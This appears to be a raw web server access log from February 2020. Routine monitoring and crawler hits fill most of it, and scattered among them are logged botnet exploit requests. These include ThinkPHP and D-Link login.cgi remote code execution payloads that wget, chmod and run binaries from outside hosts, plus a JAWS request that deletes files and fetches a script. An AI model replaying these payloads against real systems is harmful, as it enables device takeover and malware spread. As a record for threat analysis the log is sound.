176.109.231.127 - - [09/Feb/2020:08:01:31 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
193.57.40.38 - - [09/Feb/2020:08:01:47 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:08:02:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [09/Feb/2020:08:03:09 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:08:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.125.132 - - [09/Feb/2020:08:04:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:08:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [09/Feb/2020:08:04:53 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:08:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [09/Feb/2020:08:05:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.57.40.38 - - [09/Feb/2020:08:06:10 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:08:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [09/Feb/2020:08:10:34 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [09/Feb/2020:08:11:02 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
118.71.143.108 - - [09/Feb/2020:08:11:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
76.173.24.43 - - [09/Feb/2020:08:13:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:13:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:14:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.143.133.154 - - [09/Feb/2020:08:15:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:08:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.209.205.109 - - [09/Feb/2020:08:15:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:08:16:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.242.2.32 - - [09/Feb/2020:08:16:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.187.174.237 - - [09/Feb/2020:08:16:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.25.232 - - [09/Feb/2020:08:17:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.77.167.82 - - [09/Feb/2020:08:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
34.67.149.102 - - [09/Feb/2020:08:18:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [09/Feb/2020:08:21:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [09/Feb/2020:08:21:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:08:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [09/Feb/2020:08:21:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [09/Feb/2020:08:21:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [09/Feb/2020:08:21:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:08:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:24:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.23.17.205 - - [09/Feb/2020:08:24:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:08:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.60 - - [09/Feb/2020:08:29:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:29:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
23.100.232.233 - - [09/Feb/2020:08:30:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0;  Trident/5.0)"
212.91.246.72 - - [09/Feb/2020:08:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:32:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.143.53.176 - - [09/Feb/2020:08:32:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
114.33.58.9 - - [09/Feb/2020:08:32:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.77.167.82 - - [09/Feb/2020:08:34:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [09/Feb/2020:08:35:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.7.13.166 - - [09/Feb/2020:08:35:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
210.7.13.166 - - [09/Feb/2020:08:35:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.107.207 - - [09/Feb/2020:08:38:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.164.35.72 - - [09/Feb/2020:08:38:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
47.91.87.118 - - [09/Feb/2020:08:38:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.164.35.72 - - [09/Feb/2020:08:38:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [09/Feb/2020:08:38:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:08:38:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [09/Feb/2020:08:38:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [09/Feb/2020:08:38:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:08:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:41:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.193.113 - - [09/Feb/2020:08:41:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.155.12.20 - - [09/Feb/2020:08:43:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:08:43:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.24.133.116 - - [09/Feb/2020:08:45:47 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [09/Feb/2020:08:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.102.229 - - [09/Feb/2020:08:47:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [09/Feb/2020:08:51:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:51:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.223.101 - - [09/Feb/2020:08:53:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:08:53:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.86.237.63 - - [09/Feb/2020:08:54:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:08:55:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:56:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:57:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:58:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:08:59:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:01:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:02:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [09/Feb/2020:09:02:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [09/Feb/2020:09:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.154.107 - - [09/Feb/2020:09:03:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.102.229 - - [09/Feb/2020:09:07:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.228.130.177 - - [09/Feb/2020:09:09:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
196.202.63.226 - - [09/Feb/2020:09:09:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:09:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:13:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:14:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:09:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [09/Feb/2020:09:15:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:09:15:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [09/Feb/2020:09:15:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
